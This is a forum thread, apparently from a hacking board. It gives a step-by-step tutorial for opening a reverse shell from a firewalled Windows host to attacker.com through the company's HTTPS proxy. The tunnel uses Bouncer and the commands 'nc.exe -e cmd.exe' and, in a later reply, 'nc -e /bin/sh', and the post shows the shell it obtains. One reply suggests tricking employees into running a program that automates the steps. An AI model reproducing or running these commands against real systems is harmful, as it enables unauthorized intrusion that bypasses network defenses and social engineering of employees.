Gaining an interactive shell through SSL tunneling
I apologize if you already know this, but to those who don't:
You can get an interactive cmd.exe shell from a firewalled host if that host has access to a HTTP Proxy server that supports HTTPS.
The tools required are the win32 ports of NetCat and Bouncer from http://nlxoo.8bit.co.uk/
In this example, attacker.com is the attacker's host, victim.company.com is the victim's host and proxy.company.com is the victim's HTTP Proxy server
Step 1:
On attacker.com, the attacker executes:
Step 2:
On victim.company.com, the attacker executes:
Code:
bouncer.exe --bind 127.0.0.1 --port 9999 --destination attacker.com:443 --tunnel proxy.company.com:8080
Step 3:
On victim.company.com, the attacker executes:
Code:
nc.exe -e cmd.exe 127.0.0.1 9999
Result:
Inside the window from Step 1, the attacker gets the shell:
Code:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\nlxoo\Desktop\test>
Note:
1) If any of the programs or connections are terminated, the shell will be lost
2) The proxy server must support HTTPS
Re: Gaining an interactive shell through SSL tunneling
Quote:
Originally posted here by nlxoo
Step 2:
On victim.company.com, the attacker executes:
Code:
bouncer.exe --bind 127.0.0.1 --port 9999 --destination attacker.com:443 --tunnel proxy.company.com:8080
If you can already do this, then what exactly are you gaining, you've already got shell access. Hell, from here, you can install whatever you want. And whatever remote admin tool you'd like. At that, I wouldn't set netcat to listen on my own box. That's just an invitation for someone else to check out your box.
You should mention this type of stuff, nice tutorial anyways.
--PuRe
Re: Re: Gaining an interactive shell through SSL tunneling
Quote:
Originally posted here by PuReExcTacy
If you can already do this, then what exactly are you gaining, you've already got shell access. Hell, from here, you can install whatever you want. And whatever remote admin tool you'd like.
But what if the victim's machine (10.0.4.15) is on a LAN and has no full Internet access except access to a single HTTP proxy server (10.0.0.4) for web browsing?
It's impossible to run a trojan/backdoor on the victim's machine and expect to connect or even reach the victim's machine from outside the LAN.
This method is for a hacker who already has physical access to the firewalled host, e.g. an employee of a company who wants access to his work workstation from home OR a hacker who fools an employee of the company to download and execute a program that is programmed to automatically carry out steps 2 & 3.
Quote:
Originally posted here by PuReExcTacy
At that, I wouldn't set netcat to listen on my own box. That's just an invitation for someone else to check out your box.
eh? The netcat running on the attacker's host? That only opens port 443 and waits for someone to connect to the port. Not serving any data.
Quote:
Originally posted here by fl34bit3
Thanks for the info. It shows thought that it is a win xp computer is it only for xp or possible on others.
This method will work on Windows 2000 but not on the Windows 9x series.
I did try it on a Linux host but the Linux port of Bouncer gave me a "Segmentation Fault" error.
But in theory, it should work on Linux if you do this instead for Step 3:
Code:
./nc -e /bin/sh 127.0.0.1 9999